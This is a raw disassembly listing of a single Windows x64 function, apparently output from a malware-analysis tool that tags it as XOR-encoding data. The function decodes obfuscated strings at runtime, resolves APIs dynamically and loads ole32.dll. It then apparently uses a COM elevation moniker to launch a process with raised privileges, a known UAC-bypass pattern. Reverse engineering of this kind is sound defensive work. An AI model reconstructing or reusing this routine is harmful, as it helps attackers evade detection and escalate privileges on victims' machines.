Function at 0x207960be0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x1f8
mov eax, 0xffff86b8
movdqu xmm0, xmmword [0x207a41310]
mov word [rsp + 0x114], ax
mov r12, rdx
movabs rax, 0xccbfcdbfbfbecd80
movabs rdx, 0xcfd6cccbcbb8d6cf
mov qword [rsp + 0xc0], rax
mov r13, rcx
movabs rax, 0xbacdccb9d6ceccbe
mov qword [rsp + 0xc8], rdx
movabs rdx, 0xc2c2cbcfcccebed6
mov qword [rsp + 0xd0], rax
mov eax, 0xffff86b8
mov qword [rsp + 0xd8], rdx
movups xmmword [rsp + 0xf0], xmm0
movdqu xmm0, xmmword [0x207a41320]
mov dword [rsp + 0xe0], 0xcfc9bece
mov qword [rsp + 0x38], 0
mov word [rsp + 0xe4], ax
xor eax, eax
mov dword [rsp + 0x110], 0xcfc9bece
mov byte [rsp + 0x116], 0
mov byte [rsp + 0xe6], 0
movups xmmword [rsp + 0x100], xmm0
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0xc0]
xor edx, 0xfffffffb
mov byte [rsp + rax + 0xc0], dl
add rax, 1
cmp rax, 0x26
jne 0x207960cb0
lea r15, [rsp + 0xc0]
mov esi, 0x97
mov rcx, r15
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_calloc
mov r8, rbx
mov rdx, r15
mov ebx, 0x9f
mov rcx, rax
mov r14, rax
mov r15d, 0x97
call sub.msvcrt.dll_mbstowcs
mov rax, qword [0x207a41330]
mov r11d, 0x9f
mov dword [rsp + 0xa8], 0x96918a8c
mov word [rsp + 0xac], r11w
mov qword [rsp + 0xa0], rax
movabs rax, 0xab95978abebcb1b1
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x1a8], 0x96918a8c
mov word [rsp + 0x1ac], bx
movzx eax, byte [rsp + 0x1a0]
lea rbx, [rsp + 0xb0]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a0], al
movzx eax, byte [rsp + 0x1a1]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x1a2]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a3]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x1a4]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x1a5]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a6]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0x1a7]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a7], al
movzx eax, byte [rsp + 0x1a8]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a8], al
movzx eax, byte [rsp + 0x1a9]
xor eax, 0xfffffff8
mov byte [rsp + 0x1a9], al
movzx eax, byte [rsp + 0x1aa]
xor eax, 0xfffffff8
mov byte [rsp + 0x1aa], al
movzx eax, byte [rsp + 0x1ab]
xor eax, 0xfffffff8
mov byte [rsp + 0x1ab], al
movzx eax, byte [rsp + 0x1ac]
xor eax, 0xfffffff8
mov byte [rsp + 0x1ac], al
mov rax, qword [0x207a41338]
mov word [rsp + 0x48], si
lea rsi, [rsp + 0x1a0]
mov qword [rsp + 0x40], rax
mov rdx, rsi
movabs rax, 0x979fd5c9c89e9794
mov qword [rsp + 0x150], rax
mov word [rsp + 0x158], r15w
movzx eax, byte [rsp + 0x150]
lea r15, [rsp + 0x150]
mov rcx, r15
xor eax, 0xfffffffb
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
xor eax, 0xfffffffb
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
xor eax, 0xfffffffb
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
xor eax, 0xfffffffb
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
xor eax, 0xfffffffb
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
xor eax, 0xfffffffb
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
xor eax, 0xfffffffb
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
xor eax, 0xfffffffb
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
xor eax, 0xfffffffb
mov byte [rsp + 0x158], al
call fcn.2079560c0
mov rcx, r14
mov rdx, rbx
mov r14d, 0x80004005
call rax
test eax, eax
je 0x207960f6d
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x207960f58
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, r14d
add rsp, 0x1f8
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x207a41340]
mov rdx, rsi
mov qword [rsp + 0x120], 0
mov r8d, 0x94
mov qword [rsp + 0x130], 0
mov ecx, 0x94
mov qword [rsp + 0x90], rax
movabs rax, 0x9e968b9691b690bc
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x1a8], 0x9a859693
mov byte [rsp + 0x1ac], 0
movzx eax, byte [rsp + 0x1a0]
mov qword [rsp + 0x128], 0
not eax
mov qword [rsp + 0x138], 0
mov byte [rsp + 0x1a0], al
movzx eax, byte [rsp + 0x1a1]
mov qword [rsp + 0x140], 0
not eax
mov qword [rsp + 0x148], 0
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x1a2]
mov dword [rsp + 0x120], 0x30
not eax
mov byte [rsp + 0x9c], 0
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a3]
mov dword [rsp + 0x134], 4
mov dword [rsp + 0x98], 0x9a859693
not eax
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x1a4]
not eax
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x1a5]
not eax
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a6]
not eax
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0x1a7]
not eax
mov byte [rsp + 0x1a7], al
movzx eax, byte [rsp + 0x1a8]
not eax
mov byte [rsp + 0x1a8], al
movzx eax, byte [rsp + 0x1a9]
mov word [rsp + 0x58], cx
mov rcx, r15
not eax
mov byte [rsp + 0x1a9], al
movzx eax, byte [rsp + 0x1aa]
not eax
mov byte [rsp + 0x1aa], al
movzx eax, byte [rsp + 0x1ab]
not eax
mov byte [rsp + 0x1ab], al
mov rax, qword [0x207a41348]
mov qword [rsp + 0x50], rax
movabs rax, 0x949cd6cacb9d9497
mov qword [rsp + 0x150], rax
mov word [rsp + 0x158], r8w
movzx eax, byte [rsp + 0x150]
xor eax, 0xfffffff8
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
xor eax, 0xfffffff8
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
xor eax, 0xfffffff8
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
xor eax, 0xfffffff8
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
xor eax, 0xfffffff8
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
xor eax, 0xfffffff8
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
xor eax, 0xfffffff8
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
xor eax, 0xfffffff8
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
xor eax, 0xfffffff8
mov byte [rsp + 0x158], al
call fcn.2079560c0
xor ecx, ecx
call rax
movdqu xmm0, xmmword [0x207a41350]
mov r9d, 0xffff85cf
movabs rax, 0x97918c998e9d94bd
movabs rdx, 0x919691959cb9c296
mov r10d, 0xffff85cf
mov qword [rsp + 0x150], rax
movabs rax, 0xd98a978c998a8c8b
movups xmmword [rsp + 0x1a0], xmm0
movdqu xmm0, xmmword [0x207a41360]
mov qword [rsp + 0x158], rdx
movabs rdx, 0xcdbdcb83c28f9d96
mov qword [rsp + 0x160], rax
movabs rax, 0xb9c1d5c1becfbbbe
mov qword [rsp + 0x168], rdx
movabs rdx, 0xd5cfcecbccd5c9cd
movups xmmword [rsp + 0x1b0], xmm0
movdqu xmm0, xmmword [0x207a41370]
mov qword [rsp + 0x170], rax
movabs rax, 0xcac9b9d5cbcec8c1
mov qword [rsp + 0x178], rdx
movabs rdx, 0xbbbdbabecccccac8
mov qword [rsp + 0x180], rax
xor eax, eax
mov qword [rsp + 0x188], rdx
movups xmmword [rsp + 0x1c0], xmm0
movdqu xmm0, xmmword [0x207a41380]
mov word [rsp + 0x190], r10w
mov word [rsp + 0x1e0], r9w
mov byte [rsp + 0x1e2], 0
mov byte [rsp + 0x192], 0
movups xmmword [rsp + 0x1d0], xmm0
nop word cs:[rax + rax]
movzx edx, byte [rsp + rax + 0x150]
xor edx, 0xfffffff8
mov byte [rsp + rax + 0x150], dl
add rax, 1
cmp rax, 0x42
jne 0x2079612d0
mov rcx, r15
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_calloc
mov r8, rsi
mov rdx, r15
mov rcx, rax
mov r14, rax
call sub.msvcrt.dll_mbstowcs
mov edx, 0x6c
lea rcx, [rsp + 0x6e]
mov rax, qword [str._jB_oJ_eole32.dlABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov dword [rsp + 0x80], 0x6f5e60
mov qword [rsp + 0x78], rax
movabs rax, 0x655d4a6f60426a3e
mov qword [rsp + 0x84], rax
mov dword [rsp + 0x8c], 0x6f5e60
movzx eax, byte [rsp + 0x84]
add eax, 5
mov byte [rsp + 0x84], al
movzx eax, byte [rsp + 0x85]
add eax, 5
mov byte [rsp + 0x85], al
movzx eax, byte [rsp + 0x86]
add eax, 5
mov byte [rsp + 0x86], al
movzx eax, byte [rsp + 0x87]
add eax, 5
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0x88]
add eax, 5
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0x89]
add eax, 5
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0x8a]
add eax, 5
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8b]
add eax, 5
mov byte [rsp + 0x8b], al
movzx eax, byte [rsp + 0x8c]
add eax, 5
mov byte [rsp + 0x8c], al
movzx eax, byte [rsp + 0x8d]
add eax, 5
mov byte [rsp + 0x8d], al
movzx eax, byte [rsp + 0x8e]
add eax, 5
mov byte [rsp + 0x8e], al
mov rax, qword [0x207a41398]
mov qword [rsp + 0x60], rax
mov eax, 0x6c
mov word [rsp + 0x68], ax
movabs rax, 0x6c642e3233656c6f
mov qword [rsp + 0x6e], rax
mov word [rsp + 0x76], dx
movzx eax, byte [rsp + 0x6e]
lea rdx, [rsp + 0x84]
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x6f], al
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x72], al
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x74], al
movzx eax, byte [rsp + 0x75]
mov byte [rsp + 0x75], al
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x76], al
call fcn.2079560c0
mov rcx, r14
lea r9, [rsp + 0x38]
mov r8, rbx
lea rdx, [rsp + 0x120]
call rax
mov r14d, eax
test eax, eax
jne 0x207960f48
mov rcx, r13
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_calloc
mov r8, rbx
mov rdx, r13
mov rcx, rax
mov r14, rax
call sub.msvcrt.dll_mbstowcs
test r12, r12
je 0x20796151b
mov rcx, r12
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_calloc
mov rdx, r12
mov r8, rsi
mov rbx, rax
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
mov r12, rbx
mov rcx, qword [rsp + 0x38]
mov rdx, r14
xor r9d, r9d
mov r8, r12
mov rax, qword [rcx]
mov dword [rsp + 0x28], 5
mov dword [rsp + 0x20], 0
call qword [rax + 0x48]
mov r14d, eax
jmp 0x207960f48